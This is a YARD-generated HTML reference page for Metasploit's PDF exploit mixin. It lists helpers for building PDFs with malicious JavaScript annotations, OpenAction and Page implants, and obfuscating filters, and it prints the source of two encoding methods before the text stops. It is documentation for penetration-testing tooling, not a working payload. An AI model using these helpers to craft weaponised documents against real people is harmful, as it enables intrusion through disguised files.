1813 lines
95 KiB
HTML
1813 lines
95 KiB
HTML
|
<!DOCTYPE html>
|
|||
|
|
<html>
|
|||
|
|
<head>
|
|||
|
|
<meta charset="utf-8">
|
|||
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|||
|
|
<title>
|
|||
|
|
Module: Msf::Exploit::PDF
|
|||
|
|
|
|||
|
|
— Documentation by YARD 0.9.37
|
|||
|
|
|
|||
|
|
</title>
|
|||
|
|
|
|||
|
|
<link rel="stylesheet" href="../../css/style.css" type="text/css" />
|
|||
|
|
|
|||
|
|
<link rel="stylesheet" href="../../css/common.css" type="text/css" />
|
|||
|
|
|
|||
|
|
<script type="text/javascript">
|
|||
|
|
pathId = "Msf::Exploit::PDF";
|
|||
|
|
relpath = '../../';
|
|||
|
|
</script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<script type="text/javascript" charset="utf-8" src="../../js/jquery.js"></script>
|
|||
|
|
|
|||
|
|
<script type="text/javascript" charset="utf-8" src="../../js/app.js"></script>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</head>
|
|||
|
|
<body>
|
|||
|
|
<div class="nav_wrap">
|
|||
|
|
<iframe id="nav" src="../../class_list.html?1"></iframe>
|
|||
|
|
<div id="resizer"></div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div id="main" tabindex="-1">
|
|||
|
|
<div id="header">
|
|||
|
|
<div id="menu">
|
|||
|
|
|
|||
|
|
<a href="../../_index.html">Index (P)</a> »
|
|||
|
|
<span class='title'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span>
|
|||
|
|
»
|
|||
|
|
<span class="title">PDF</span>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div id="search">
|
|||
|
|
|
|||
|
|
<a class="full_list_link" id="class_list_link"
|
|||
|
|
href="../../class_list.html">
|
|||
|
|
|
|||
|
|
<svg width="24" height="24">
|
|||
|
|
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
|
|||
|
|
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
|
|||
|
|
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
|
|||
|
|
</svg>
|
|||
|
|
</a>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
<div class="clear"></div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div id="content"><h1>Module: Msf::Exploit::PDF
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h1>
|
|||
|
|
<div class="box_info">
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<dl>
|
|||
|
|
<dt>Defined in:</dt>
|
|||
|
|
<dd>lib/msf/core/exploit/pdf.rb</dd>
|
|||
|
|
</dl>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<h2>
|
|||
|
|
Instance Method Summary
|
|||
|
|
<small><a href="#" class="summary_toggle">collapse</a></small>
|
|||
|
|
</h2>
|
|||
|
|
|
|||
|
|
<ul class="summary">
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#add_object-instance_method" title="#add_object (instance method)">#<strong>add_object</strong>(num, data) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#ascii85_encode-instance_method" title="#ascii85_encode (instance method)">#<strong>ascii85_encode</strong>(stream) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#ascii_hex_whitespace_encode-instance_method" title="#ascii_hex_whitespace_encode (instance method)">#<strong>ascii_hex_whitespace_encode</strong>(str) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p>Original Filters.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#create_pdf-instance_method" title="#create_pdf (instance method)">#<strong>create_pdf</strong>(js) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p>Controller function, should be entrypoint for pdf exploits.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#endobj-instance_method" title="#endobj (instance method)">#<strong>endobj</strong> ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#eol-instance_method" title="#eol (instance method)">#<strong>eol</strong> ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#eol=-instance_method" title="#eol= (instance method)">#<strong>eol=</strong>(new_eol) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#finish_pdf-instance_method" title="#finish_pdf (instance method)">#<strong>finish_pdf</strong> ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#header-instance_method" title="#header (instance method)">#<strong>header</strong>(version = '1.5') ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p>PDF building block functions.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#initialize-instance_method" title="#initialize (instance method)">#<strong>initialize</strong>(info = {}) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#io_def-instance_method" title="#io_def (instance method)">#<strong>io_def</strong>(id) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#io_ref-instance_method" title="#io_ref (instance method)">#<strong>io_ref</strong>(id) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#nobfu-instance_method" title="#nobfu (instance method)">#<strong>nobfu</strong>(str) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p><a href="http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways">blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways</a>/.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#pdf_with_annot_js-instance_method" title="#pdf_with_annot_js (instance method)">#<strong>pdf_with_annot_js</strong>(js, strFilter) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p>Create PDF with a malicious annotation.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#pdf_with_openaction_js-instance_method" title="#pdf_with_openaction_js (instance method)">#<strong>pdf_with_openaction_js</strong>(js, strFilter) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p>Create PDF with OpenAction implant Note: doesn’t carry over if you try to merge the exploit PDF with an innocuous one.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#pdf_with_page_exploit-instance_method" title="#pdf_with_page_exploit (instance method)">#<strong>pdf_with_page_exploit</strong>(js, strFilter) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p>Create PDF with Page implant.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#random_non_ascii_string-instance_method" title="#random_non_ascii_string (instance method)">#<strong>random_non_ascii_string</strong>(count) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#run_length_encode-instance_method" title="#run_length_encode (instance method)">#<strong>run_length_encode</strong>(stream) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p>Filters from Origami parser.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#select_encoder-instance_method" title="#select_encoder (instance method)">#<strong>select_encoder</strong>(js, strEncode, strFilter) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'>
|
|||
|
|
<p>Select an encoder and build a filter specification.</p>
|
|||
|
|
</div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#startxref-instance_method" title="#startxref (instance method)">#<strong>startxref</strong> ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#trailer-instance_method" title="#trailer (instance method)">#<strong>trailer</strong>(root_obj) ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li class="public ">
|
|||
|
|
<span class="summary_signature">
|
|||
|
|
|
|||
|
|
<a href="#xref_table-instance_method" title="#xref_table (instance method)">#<strong>xref_table</strong> ⇒ Object </a>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</ul>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div id="instance_method_details" class="method_details_list">
|
|||
|
|
<h2>Instance Method Details</h2>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="method_details first">
|
|||
|
|
<h3 class="signature first" id="add_object-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>add_object</strong>(num, data) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
156
|
|||
|
|
157
|
|||
|
|
158
|
|||
|
|
159
|
|||
|
|
160
|
|||
|
|
161</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 156</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='id identifier rubyid_num'>num</span><span class='comma'>,</span> <span class='id identifier rubyid_data'>data</span><span class='rparen'>)</span>
|
|||
|
|
<span class='ivar'>@xref</span><span class='lbracket'>[</span><span class='id identifier rubyid_num'>num</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='ivar'>@pdf</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_io_def'>io_def</span><span class='lparen'>(</span><span class='id identifier rubyid_num'>num</span><span class='rparen'>)</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_data'>data</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_endobj'>endobj</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="ascii85_encode-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>ascii85_encode</strong>(stream) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
96
|
|||
|
|
97
|
|||
|
|
98
|
|||
|
|
99
|
|||
|
|
100
|
|||
|
|
101
|
|||
|
|
102
|
|||
|
|
103
|
|||
|
|
104
|
|||
|
|
105
|
|||
|
|
106
|
|||
|
|
107
|
|||
|
|
108
|
|||
|
|
109
|
|||
|
|
110
|
|||
|
|
111
|
|||
|
|
112
|
|||
|
|
113
|
|||
|
|
114
|
|||
|
|
115
|
|||
|
|
116
|
|||
|
|
117
|
|||
|
|
118
|
|||
|
|
119
|
|||
|
|
120
|
|||
|
|
121
|
|||
|
|
122
|
|||
|
|
123
|
|||
|
|
124
|
|||
|
|
125
|
|||
|
|
126
|
|||
|
|
127
|
|||
|
|
128
|
|||
|
|
129
|
|||
|
|
130</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 96</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_ascii85_encode'>ascii85_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_eod'>eod</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>~></span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='int'>0</span>
|
|||
|
|
<span class='id identifier rubyid_code'>code</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='id identifier rubyid_input'>input</span> <span class='op'>=</span> <span class='id identifier rubyid_stream'>stream</span><span class='period'>.</span><span class='id identifier rubyid_dup'>dup</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>while</span> <span class='id identifier rubyid_i'>i</span> <span class='op'><</span> <span class='id identifier rubyid_input'>input</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span> <span class='kw'>do</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>if</span> <span class='id identifier rubyid_input'>input</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>-</span> <span class='id identifier rubyid_i'>i</span> <span class='op'><</span> <span class='int'>4</span>
|
|||
|
|
<span class='id identifier rubyid_addend'>addend</span> <span class='op'>=</span> <span class='int'>4</span> <span class='op'>-</span> <span class='lparen'>(</span><span class='id identifier rubyid_input'>input</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>-</span> <span class='id identifier rubyid_i'>i</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_input'>input</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\0</span><span class='tstring_end'>"</span></span> <span class='op'>*</span> <span class='id identifier rubyid_addend'>addend</span>
|
|||
|
|
<span class='kw'>else</span>
|
|||
|
|
<span class='id identifier rubyid_addend'>addend</span> <span class='op'>=</span> <span class='int'>0</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_inblock'>inblock</span> <span class='op'>=</span> <span class='lparen'>(</span><span class='id identifier rubyid_input'>input</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span> <span class='op'>*</span> <span class='int'>256</span><span class='op'>**</span><span class='int'>3</span> <span class='op'>+</span> <span class='id identifier rubyid_input'>input</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>1</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span> <span class='op'>*</span> <span class='int'>256</span><span class='op'>**</span><span class='int'>2</span> <span class='op'>+</span> <span class='id identifier rubyid_input'>input</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>2</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span> <span class='op'>*</span> <span class='int'>256</span> <span class='op'>+</span> <span class='id identifier rubyid_input'>input</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>3</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_outblock'>outblock</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
|||
|
|
|
|||
|
|
<span class='int'>5</span><span class='period'>.</span><span class='id identifier rubyid_times'>times</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_p'>p</span><span class='op'>|</span>
|
|||
|
|
<span class='id identifier rubyid_c'>c</span> <span class='op'>=</span> <span class='id identifier rubyid_inblock'>inblock</span> <span class='op'>/</span> <span class='int'>85</span> <span class='op'>**</span> <span class='lparen'>(</span><span class='int'>4</span> <span class='op'>-</span> <span class='id identifier rubyid_p'>p</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_outblock'>outblock</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>!</span><span class='tstring_end'>"</span></span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_ord'>ord</span> <span class='op'>+</span> <span class='id identifier rubyid_c'>c</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span>
|
|||
|
|
<span class='id identifier rubyid_inblock'>inblock</span> <span class='op'>-=</span> <span class='id identifier rubyid_c'>c</span> <span class='op'>*</span> <span class='int'>85</span> <span class='op'>**</span> <span class='lparen'>(</span><span class='int'>4</span> <span class='op'>-</span> <span class='id identifier rubyid_p'>p</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_outblock'>outblock</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>z</span><span class='tstring_end'>"</span></span> <span class='kw'>if</span> <span class='id identifier rubyid_outblock'>outblock</span> <span class='op'>==</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>!!!!!</span><span class='tstring_end'>"</span></span> <span class='kw'>and</span> <span class='id identifier rubyid_addend'>addend</span> <span class='op'>==</span> <span class='int'>0</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>if</span> <span class='id identifier rubyid_addend'>addend</span> <span class='op'>!=</span> <span class='int'>0</span>
|
|||
|
|
<span class='id identifier rubyid_outblock'>outblock</span> <span class='op'>=</span> <span class='id identifier rubyid_outblock'>outblock</span><span class='lbracket'>[</span><span class='int'>0</span><span class='comma'>,</span><span class='lparen'>(</span><span class='int'>4</span> <span class='op'>-</span> <span class='id identifier rubyid_addend'>addend</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='int'>1</span><span class='rbracket'>]</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_code'>code</span> <span class='op'><<</span> <span class='id identifier rubyid_outblock'>outblock</span>
|
|||
|
|
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>+</span> <span class='int'>4</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='id identifier rubyid_code'>code</span> <span class='op'><<</span> <span class='id identifier rubyid_eod'>eod</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="ascii_hex_whitespace_encode-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>ascii_hex_whitespace_encode</strong>(str) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>Original Filters</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
33
|
|||
|
|
34
|
|||
|
|
35
|
|||
|
|
36
|
|||
|
|
37
|
|||
|
|
38
|
|||
|
|
39
|
|||
|
|
40
|
|||
|
|
41
|
|||
|
|
42</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 33</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_ascii_hex_whitespace_encode'>ascii_hex_whitespace_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_str'>str</span><span class='rparen'>)</span>
|
|||
|
|
